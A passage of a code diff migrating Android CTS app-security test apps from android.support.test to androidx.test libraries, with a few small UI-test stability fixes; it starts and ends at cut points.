+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -33,7 +33,7 @@
             android:exported="true" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.appwithdata"
                      android:label="Test to create app data."/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
index 0668860..d70de42 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml
index d9a1f36..b95ae26 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml
@@ -21,7 +21,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.applicationvisibility"
                      android:label="Test to check application visibility for an app with cross user permission."/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
index 1737817..84dfad9 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
@@ -15,17 +15,19 @@
  */
 package com.android.cts.applicationvisibility;
 
+import static android.content.pm.PackageManager.MATCH_KNOWN_PACKAGES;
+
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
-import static android.content.pm.PackageManager.MATCH_KNOWN_PACKAGES;
 
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
index 1adf0f8..761fce8 100644
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_SDK_VERSION := current
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
index 05f4573..2383f0b 100644
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
@@ -36,7 +36,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.classloadersplitapp" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
index 54482a8..cbe3338 100644
--- a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
@@ -24,12 +24,11 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.content.res.Configuration;
-import android.content.res.Resources;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Rule;
 import org.junit.Test;
@@ -38,7 +37,6 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.model.Statement;
 
-import java.util.Locale;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.TimeUnit;
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
index ad50a57..04e1870 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DocumentClient/AndroidManifest.xml
index 0064e15..c90a6f6 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/AndroidManifest.xml
@@ -21,6 +21,6 @@
         <activity android:name=".MyActivity" />
     </application>
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.documentclient" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index e85e167..5032ad3 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -101,6 +101,15 @@
         assertTrue("First list item",
                 new UiObject(docList.childSelector(new UiSelector())).waitForExists(TIMEOUT));
 
+        try {
+            //Enfornce to set the list mode
+            //Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item) in grid mode when screen landscape mode
+            new UiObject(new UiSelector().resourceId("com.android.documentsui:id/option_menu_list")).click();
+            mDevice.waitForIdle();
+        }catch (UiObjectNotFoundException e){
+            //do nothing, already be in list mode.
+        }
+
         // Now scroll around to find our item
         new UiScrollable(docList).scrollIntoView(new UiSelector().text(label));
         return new UiObject(docList.childSelector(new UiSelector().text(label)));
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
index dc44bafb..135a0f7 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
@@ -353,11 +353,10 @@
         final boolean gotIt = mDevice.wait(Until.hasObject(By.text(dir)), TIMEOUT);
         assertTrue("object with text'(" + dir + "') not visible yet", gotIt);
         // TODO: find a better way to get the toggle rather then getting all
-        final List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
-        assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
-        final UiObject2 toggle = toggles.get(0);
+        UiObject2 toggle = getUniqueToggle();
         assertFalse("toggle for '" + dir + "' should not be checked", toggle.isChecked());
         toggle.click();
+        toggle = getUniqueToggle();
         assertTrue("toggle for '" + dir + "' should be checked", toggle.isChecked());
 
         // Close app screen.
@@ -395,11 +394,10 @@
         final boolean gotIt = mDevice.wait(Until.hasObject(By.text(dir)), TIMEOUT);
         assertTrue("object with text'(" + dir + "') not visible yet", gotIt);
         // TODO: find a better way to get the toggle rather then getting all
-        final List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
-        assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
-        final UiObject2 toggle = toggles.get(0);
+        UiObject2 toggle = getUniqueToggle();
         assertTrue("toggle for '" + dir + "' should be checked", toggle.isChecked());
         toggle.click();
+        toggle = getUniqueToggle();
         assertFalse("toggle for '" + dir + "' should not be checked", toggle.isChecked());
 
         // Close app screen.
@@ -414,6 +412,12 @@
         assertActivityFailed();
     }
 
+    private UiObject2 getUniqueToggle() {
+        List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
+        assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
+        return toggles.get(0);
+    }
+
     private void launchDirectoryAccessSettingsScreenAndSelectApp() {
         final Intent intent = new Intent(Settings.ACTION_STORAGE_VOLUME_ACCESS_SETTINGS)
                 .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
index 42aa074..a445466 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
@@ -21,9 +21,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
 
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
index 9734112..44aa242 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt ctstestrunner-axt ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
index da3c9e4..1231874 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
@@ -82,7 +82,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.encryptionapp" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 1d0f83e..38cdb3c 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,6 +19,7 @@
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
 import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
 
+import android.app.KeyguardManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -56,6 +57,7 @@
     private Context mCe;
     private Context mDe;
     private PackageManager mPm;
+    private KeyguardManager mKm;
 
     private UiDevice mDevice;
     private AwareActivity mActivity;
@@ -67,6 +69,7 @@
         mCe = getInstrumentation().getContext();
         mDe = mCe.createDeviceProtectedStorageContext();
         mPm = mCe.getPackageManager();
+        mKm = (KeyguardManager) mCe.getSystemService(Context.KEYGUARD_SERVICE);
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         assertNotNull(mDevice);
@@ -100,7 +103,9 @@
 
     public void testTearDown() throws Exception {
         // Just in case, always try tearing down keyguard
-        dismissKeyguard();
+        if (mKm.isKeyguardLocked()) {
+            dismissKeyguard();
+        }
 
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 AwareActivity.class, null);
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index 90b7866..777bd65 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -21,9 +21,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-aia-util \
-    android-support-test \
-    ctsdeviceutillegacy \
-    ctstestrunner
+    androidx.test.rules \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index 2dc1b02..f966b3d 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -125,6 +125,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.ephemeralapp1" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 9e231a1..58565ea 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -19,9 +19,10 @@
 import static android.media.AudioFormat.CHANNEL_IN_MONO;
 import static android.media.AudioFormat.ENCODING_PCM_16BIT;
 import static android.media.MediaRecorder.AudioSource.MIC;
-import static org.hamcrest.CoreMatchers.is;
+
 import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.CoreMatchers.hasItems;
+import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.hamcrest.CoreMatchers.nullValue;
 import static org.junit.Assert.assertSame;
@@ -58,19 +59,16 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.IBinder;
-import android.os.Looper;
 import android.os.PowerManager;
 import android.os.PowerManager.WakeLock;
 import android.os.VibrationEffect;
 import android.os.Vibrator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.telephony.CellLocation;
 import android.telephony.PhoneStateListener;
 import android.telephony.TelephonyManager;
 
-import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.TestThread;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.cts.util.TestResult;
 
 import org.junit.After;
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
index 78c7970..535d67c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -21,9 +21,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-aia-util \
-    android-support-test \
-    ctsdeviceutillegacy \
-    ctstestrunner
+    androidx.test.rules \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
index 0350cc6..4e83c34 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
@@ -78,6 +78,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.ephemeralapp2" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
index 8b04f9b..8500077 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-aia-util \
-    android-support-test
+    androidx.test.rules
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
index f202a0a..d9136d5 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
@@ -38,6 +38,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.implicitapp" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
index d2c3667..3e41c1b 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-aia-util \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
index 51b5700..e577260 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
@@ -132,6 +132,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.normalapp" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 2265dec..3a99f325 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -34,8 +34,9 @@
 import android.database.Cursor;
 import android.net.Uri;
 import android.provider.Settings.Secure;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.util.TestResult;
 
@@ -441,6 +442,10 @@
         final int originalSetting = Secure.getInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 1);
         Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 0);
         try {
+            Thread.sleep(1000);
+        } catch (Exception e) {
+        }
+        try {
             // start the ephemeral activity; using VIEW/BROWSABLE with setting disabled
             try {
                 final Intent startViewIntent = new Intent(Intent.ACTION_VIEW)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
index 7ceaff3..d8e9234 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml
index 39c6981..1820eb0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/AndroidManifest.xml
@@ -25,6 +25,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.unexposedapp" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
index 28560d3..6d58891 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-aia-util \
-    android-support-test
+    androidx.test.rules
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
index fbacf95..941c4b06 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
@@ -34,6 +34,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.userapp" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
index 64f02cb..afb016c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
@@ -19,7 +19,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test
+    androidx.test.rules
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml
index 0e59a1d..09bac4c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/AndroidManifest.xml
@@ -27,6 +27,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.userapptest" />
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java
index ed038ee..86ecafa 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/src/com/android/cts/userapptest/ClientTest.java
@@ -22,8 +22,9 @@
 
 import android.content.Intent;
 import android.content.pm.ResolveInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
index 5945188..c82648c 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
index 198bb39..1ac2790 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
@@ -32,7 +32,7 @@
 
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.escalate.permission" />
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
index bbe8e02..cfccc78 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -16,17 +16,19 @@
 
 package com.android.cts.escalatepermission;
 
-import android.content.Context;
-import android.content.pm.PermissionInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
